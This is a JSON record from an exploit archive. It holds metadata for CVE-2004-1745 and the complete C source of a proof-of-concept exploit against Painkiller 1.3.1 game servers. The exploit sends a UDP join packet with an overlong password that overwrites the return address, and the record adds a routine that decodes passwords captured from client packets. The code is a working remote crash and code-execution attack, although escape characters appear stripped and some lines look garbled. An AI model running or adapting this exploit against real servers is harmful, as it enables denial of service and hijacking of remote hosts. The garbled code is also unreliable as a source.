{"exploit":{"id":"EDB-422","name":"Painkiller 1.3.1 - Denial of Service (DoS)","description":"Painkiller 1.3.1 - Denial of Service (DoS)","cves":["CVE-2004-1745"],"author":"Luigi Auriemma","published":"2004-08-27","platform":"windows","type":"dos","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/422","path":"exploits/windows/dos/422.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-422.txt","vulnerabilities":[{"id":"CVE-2004-1745","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in Painkiller 1.3.1 and earlier allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a long password.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2004-1745","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:N/I:N/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2004-1745"},"updatedAt":"2024-08-08T01:00:37.286Z","retrievedAt":"2026-11-26T14:06:34.122Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-422.png?v=2","url":"https://exploitbin.com/exploits/EDB-422","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-422/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-422/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\n\nby Luigi Auriemma\n\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#ifdef WIN32\n    #include <winsock.h>\n    #include \"winerr.h\"\n\n    #define close   closesocket\n#else\n    #include <unistd.h>\n    #include <sys/socket.h>\n    #include <sys/types.h>\n    #include <arpa/inet.h>\n    #include <netdb.h>\n#endif\n\n\n\n#define VER         \"0.1\"\n#define BUFFSZ       2048\n#define PORT         3455\n#define TIMEOUT     3\n#define GAMEVER     \"1.3\"\n#define INFO         \"xfexfdx00xDExADxC0xDExffxffxff\"\n#define CONN         \"xffxffxffxffx02\"\n#define JOIN1       \"xffxffxffxffx04\"\n                    GAMEVER   \"\"\n                    \"105.263\" \"\"\n#define JOIN2       \"x00x00x00x00\" \"xdexadxc0xde\"\n#define BOOMSZ       548\n#define RETBACKOFF   28\n\n#define SENDRECV(x)\n    if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr *)&peer, sizeof(peer))\n      < 0) std_err();\n    if(timeout(sd) < 0) {\n        fputs(\"nError: socket timeout, no answer receivedn\", stdout);\n        exit(1);\n    }\n    len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL);\n    if(len < 0) std_err();\n    buff[len] = 0x00;\n\n\n\n\nvoid show_info(u_char *buff, int len);\nu_long check_ret_addr(char *data);\nint timeout(int sock);\nu_long resolv(char *host);\nvoid std_err(void);\n\n\n\n\nint main(int argc, char *argv[]) {\n    int         sd,\n                len;\n    u_short     port = PORT;\n    u_char       buff[BUFFSZ + 1],\n                *ptr;\n    struct   sockaddr_in peer;\n    u_long       ret_addr;\n\n\n    setbuf(stdout, NULL);\n\n    fputs(\"n\"\n        \"Painkiller <= 1.31 code execution bug \"VER\"n\"\n        \"by Luigi Auriemman\"\n        \"e-mail: aluigi@altervista.orgn\"\n        \"web:     http://aluigi.altervista.orgn\"\n        \"n\", stdout);\n\n    if(argc < 3) {\n        printf(\"n\"\n            \"Usage: %s <ret_addr> <host> [port(%d)]n\"\n            \"n\"\n            \" ret_addr is a memory address where you want to point the code flow.n\"\n            \" I have implemented only the ret_addr of the dedicated server because then\"\n            \" normal game needs a different one, so the dedicated server crashs but you cann\"\n            \" also choose a return address (EIP) while the normal game simply crashs.n\"\n            \" ret_addr is automatically verified by this PoC because only the bytes fromn\"\n            \" 0x00 to 0x3f are allowed.n\"\n            \" If you don't know what to use, insert: 0x32103210 or 0x33333333n\"\n            \" Some addresses like 0x11111111 instead freeze the server with CPU at 100%%n\"\n            \"n\", argv[0], PORT);\n        exit(1);\n    }\n\n#ifdef WIN32\n    WSADATA     wsadata;\n    WSAStartup(MAKEWORD(1,0), &wsadata);\n#endif\n\n    ret_addr = check_ret_addr(argv[1]);\n\n    if(argc > 3) port = atoi(argv[3]);\n    peer.sin_addr.s_addr = resolv(argv[2]);\n    peer.sin_port         = htons(port);\n    peer.sin_family       = AF_INET;\n\n    printf(\"n\"\n        \"- Target                   %s:%hun\"\n        \"- Real return address:     %sn\"\n        \"- Encoded return address:   0x%08lxn\",\n        inet_ntoa(peer.sin_addr),\n        port,\n        argv[1],\n        ret_addr);\n\n    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);\n    if(sd < 0) std_err();\n\n    fputs(\"- Request informations:n\", stdout);\n    SENDRECV(INFO);\n    show_info(buff, len);\n\n    fputs(\"- Send connection request packetn\", stdout);\n    SENDRECV(CONN);\n    printf(\"- Server challenge: %sn\", buff + 5);\n\n    ptr = (u_char *)memcpy(buff, JOIN1, sizeof(JOIN1) - 1) +\n        sizeof(JOIN1) - 1;\n\n    ptr = (u_char *)memset(ptr, '0', 72) + 72;   // Gamespy key auth\n    *ptr++ = 0x00;                               // key auth delimiter\n\n    ptr = (u_char *)memset(ptr, 'a', BOOMSZ) + BOOMSZ;\n    *(u_long *)(ptr - RETBACKOFF) = ret_addr;   // dedicated server ret_addr\n    *ptr++ = 0x00;                               // password delimiter\n\n    ptr = (u_char *)memcpy(ptr, JOIN2, sizeof(JOIN2) - 1) +\n        sizeof(JOIN2) - 1;\n\n    fputs(\"- Send BOOM packet with return address overwritingn\", stdout);\n    if(sendto(sd, buff, ptr - buff, 0, (struct sockaddr *)&peer, sizeof(peer))\n      < 0) std_err();\n    if(timeout(sd) < 0) {\n        fputs(\"nServer IS vulnerable!!!nn\", stdout);\n    } else {\n        fputs(\"nServer doesn't seem to be vulnerablenn\", stdout);\n    }\n\n    close(sd);\n\n    return(0);\n}\n\n\n\n\nvoid show_info(u_char *buff, int len) {\n    u_char   *p1,\n            *p2,\n            *limit;\n    int     nt = 0;\n\n    limit = buff + len;\n    p1 = buff + 5;\n    while(p1 < limit) {\n        p2 = strchr(p1, 0x00);\n        if(!p2) break;\n        *p2 = 0x00;\n\n        if(!nt) {\n            if(p1 == p2) break;\n            printf(\"%30s: \", p1);\n            nt++;\n        } else {\n            printf(\"%sn\", p1);\n            nt = 0;\n        }\n        p1 = p2 + 1;\n    }\n    fputc('n', stdout);\n}\n\n\n\n\n\nu_long check_ret_addr(char *data) {\n    u_long   ret = 0;\n    u_char   *retc;\n    int     tmp,\n            i;\n\n    retc = ((u_char *)&ret) + 3;\n\n    if((data[1] == 'x') || (data[1] == 'X')) data += 2;\n\n    if(strlen(data) != 8) {\n        fputs(\"n\"\n            \"Error: please use a full offset of 4 hex numbers.n\"\n            \"       For example: 0x12341234, 12341234, 00001234, 0x33333333 and so onn\"\n            \"n\", stdout);\n        exit(1);\n    }\n\n    for(i = 0; i < 4; i++) {\n        sscanf(data, \"%02x\", &tmp);\n        if(tmp > 0x3f) {\n            printf(\"n\"\n                \"Error: the return address cannot contain bytes greater than 0x3f (your: 0x%02x).n\"\n                \"       For example 0x12341234 contains 0x12, 0x34, 0x12 and 0x34 that are ok.n\"\n                \"       While 0x12345678 is not ok because 0x56 and 0x78 are greater than 0x3fn\"\n                \"n\", tmp);\n            exit(1);\n        }\n        if(tmp <= 9) {\n            *retc = tmp + 0x30;\n        } else if((tmp >= 0xa) && (tmp <= 0x23)) {\n            *retc = tmp + 0x57;\n        } else {\n            *retc = tmp + 0x1d;\n        }\n        retc--;\n        data += 2;\n    }\n\n    return(ret);\n}\n\n\n\nint timeout(int sock) {\n    struct   timeval tout;\n    fd_set   fd_read;\n    int     err;\n\n    tout.tv_sec = TIMEOUT;\n    tout.tv_usec = 0;\n    FD_ZERO(&fd_read);\n    FD_SET(sock, &fd_read);\n    err = select(sock + 1, &fd_read, NULL, NULL, &tout);\n    if(err < 0) std_err();\n    if(!err) return(-1);\n    return(0);\n}\n\n\n\nu_long resolv(char *host) {\n    struct hostent *hp;\n    u_long host_ip;\n\n    host_ip = inet_addr(host);\n    if(host_ip == INADDR_NONE) {\n        hp = gethostbyname(host);\n        if(!hp) {\n            printf(\"nError: Unable to resolv hostname (%s)n\", host);\n            exit(1);\n        } else host_ip = *(u_long *)hp->h_addr;\n    }\n    return(host_ip);\n}\n\n\n\n\n#ifndef WIN32\n    void std_err(void) {\n        perror(\"nError\");\n        exit(1);\n    }\n#endif\n--------------------------------------------------------------------------------\n\n\n\nwinerr.h\n\n\n\n--------------------------------------------------------------------------------\n/*\n  Header file used for manage errors in Windows\n  It support socket and errno too\n  (this header replace the previous sock_errX.h)\n*/\n\n#include <string.h>\n#include <errno.h>\n\n\n\nvoid std_err(void) {\n    char     *error;\n\n    switch(WSAGetLastError()) {\n        case 10004: error = \"Interrupted system call\"; break;\n        case 10009: error = \"Bad file number\"; break;\n        case 10013: error = \"Permission denied\"; break;\n        case 10014: error = \"Bad address\"; break;\n        case 10022: error = \"Invalid argument (not bind)\"; break;\n        case 10024: error = \"Too many open files\"; break;\n        case 10035: error = \"Operation would block\"; break;\n        case 10036: error = \"Operation now in progress\"; break;\n        case 10037: error = \"Operation already in progress\"; break;\n        case 10038: error = \"Socket operation on non-socket\"; break;\n        case 10039: error = \"Destination address required\"; break;\n        case 10040: error = \"Message too long\"; break;\n        case 10041: error = \"Protocol wrong type for socket\"; break;\n        case 10042: error = \"Bad protocol option\"; break;\n        case 10043: error = \"Protocol not supported\"; break;\n        case 10044: error = \"Socket type not supported\"; break;\n        case 10045: error = \"Operation not supported on socket\"; break;\n        case 10046: error = \"Protocol family not supported\"; break;\n        case 10047: error = \"Address family not supported by protocol family\"; break;\n        case 10048: error = \"Address already in use\"; break;\n        case 10049: error = \"Can't assign requested address\"; break;\n        case 10050: error = \"Network is down\"; break;\n        case 10051: error = \"Network is unreachable\"; break;\n        case 10052: error = \"Net dropped connection or reset\"; break;\n        case 10053: error = \"Software caused connection abort\"; break;\n        case 10054: error = \"Connection reset by peer\"; break;\n        case 10055: error = \"No buffer space available\"; break;\n        case 10056: error = \"Socket is already connected\"; break;\n        case 10057: error = \"Socket is not connected\"; break;\n        case 10058: error = \"Can't send after socket shutdown\"; break;\n        case 10059: error = \"Too many references, can't splice\"; break;\n        case 10060: error = \"Connection timed out\"; break;\n        case 10061: error = \"Connection refused\"; break;\n        case 10062: error = \"Too many levels of symbolic links\"; break;\n        case 10063: error = \"File name too long\"; break;\n        case 10064: error = \"Host is down\"; break;\n        case 10065: error = \"No Route to Host\"; break;\n        case 10066: error = \"Directory not empty\"; break;\n        case 10067: error = \"Too many processes\"; break;\n        case 10068: error = \"Too many users\"; break;\n        case 10069: error = \"Disc Quota Exceeded\"; break;\n        case 10070: error = \"Stale NFS file handle\"; break;\n        case 10091: error = \"Network SubSystem is unavailable\"; break;\n        case 10092: error = \"WINSOCK DLL Version out of range\"; break;\n        case 10093: error = \"Successful WSASTARTUP not yet performed\"; break;\n        case 10071: error = \"Too many levels of remote in path\"; break;\n        case 11001: error = \"Host not found\"; break;\n        case 11002: error = \"Non-Authoritative Host not found\"; break;\n        case 11003: error = \"Non-Recoverable errors: FORMERR, REFUSED, NOTIMP\"; break;\n        case 11004: error = \"Valid name, no data record of requested type\"; break;\n        default: error = strerror(errno); break;\n    }\n    fprintf(stderr, \"nError: %sn\", error);\n    exit(1);\n}\n\n--------------------------------------------------------------------------------\n\n\n\npainkiller_pckpwd.h\n\n\n\n--------------------------------------------------------------------------------\n/*\n\nPainkiller packet's password encoder/decoder 0.1\nby Luigi Auriemma\ne-mail: aluigi@altervista.org\nweb:     http://aluigi.altervista.org\n\n\nINTRODUCTION\n============\nWhen you want to join a password protected game server of Painkiller\n(http://www.painkillergame.com) your client sends a packet containing\nthe packet ID (0x04), your client version, the 72 bytes of the Gamespy\nauth key (http://aluigi.altervista.org/papers/gskey-auth.txt) plus a\n\"strange\" text string after it.\nThis text string is just the password you have used to join and it is\nencrypted using the other text string (the server challenge) sent by\nthe server in its previous packet.\nMy optimized algorithm is able to decode/encode the password stored in\nthe packet sent by the client.\n\n\nHOW TO USE\n==========\nThe function is an algorithm used for both encoding and decoding\nwithout differences.\nIt needs only 2 parameters:\n- pwd: the client's password stored in the packet\n- enc: the server challenge string\n\nExample:\n  #include \"painkiller_pckpwd.h\"\n\n    unsigned char   pwd[] = \"5mjblOpV8N\",\n                    enc[] = \"k7bEv4cGcw\";\n    painkiller_pckpwd(pwd, enc);\n    printf(\"Password: %sn\", pwd);   // the password is \"mypassword\"\n\n\nLICENSE\n=======\n    Copyright 2004 Luigi Auriemma\n\n    This program is free software; you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.   See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program; if not, write to the Free Software\n    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA   02111-1307 USA\n\n    http://www.gnu.org/licenses/gpl.txt\n\n*/\n\n\n\nvoid painkiller_pckpwd(unsigned char *pwd, unsigned char *enc) {\n    unsigned char   buff[64],\n                    encbuff[64],\n                    *p1,\n                    *p2;\n    int             len,\n                    i,\n                    cl,\n                    dl,\n                    esi,\n                    edi;\n\n    p1 = pwd;\n    while(1) {\n        if((*p1 >= '0') && (*p1 <= '9')) {\n            *p1 -= 0x30;\n        } else if((*p1 >= 'a') && (*p1 <= 'z')) {\n            *p1 -= 0x57;\n        } else if((*p1 >= 'A') && (*p1 <= '')) {\n            *p1 -= 0x1d;\n        } else {\n            break;\n        }\n        p1++;\n    }\n    len = p1 - pwd;\n\n    p1 = buff;\n    for(i = 0; i < 64; i++) {\n        *p1++ = i;\n    }\n\n    p1 = enc;\n    p2 = encbuff;\n    for(i = 0; i < 64; i++) {\n        *p2++ = *p1++;\n        if(!*p1) p1 = enc;\n    }\n\n    p1 = buff;\n    p2 = encbuff;\n    for(i = esi = 0; i < 64; i++) {\n        cl = *p1;\n        esi = (*p2 + cl + esi) & 63;\n        *p1++ = buff[esi];\n        buff[esi] = cl;\n        p2++;\n    }\n\n    esi = edi = 0;\n    p1 = pwd;\n    for(i = 0; i < len; i++) {\n        esi = (esi + 1) & 63;\n        cl = buff[esi];\n        edi = (cl + edi) & 63;\n        dl = buff[edi];\n        buff[esi] = dl;\n        buff[edi] = cl;\n        *p1++ ^= buff[(dl + cl) & 63];\n    }\n\n    p1 = pwd;\n    while(len--) {\n        if(*p1 <= 9) {\n            *p1 += 0x30;\n        } else if((*p1 >= 0xa) && (*p1 <= 0x23)) {\n            *p1 += 0x57;\n        } else {\n            *p1 += 0x1d;\n        }\n        p1++;\n    }\n}\n\n// milw0rm.com [2004-08-27]","sha256":"23348c56c7fc765a8215b95d76e3b4688cdd9235f101b3651866bc4803e18ac5","bytes":14243,"fetchedAt":"2026-11-26T14:06:28.452Z","encoding":"utf-8 (display only; download retains original bytes)"}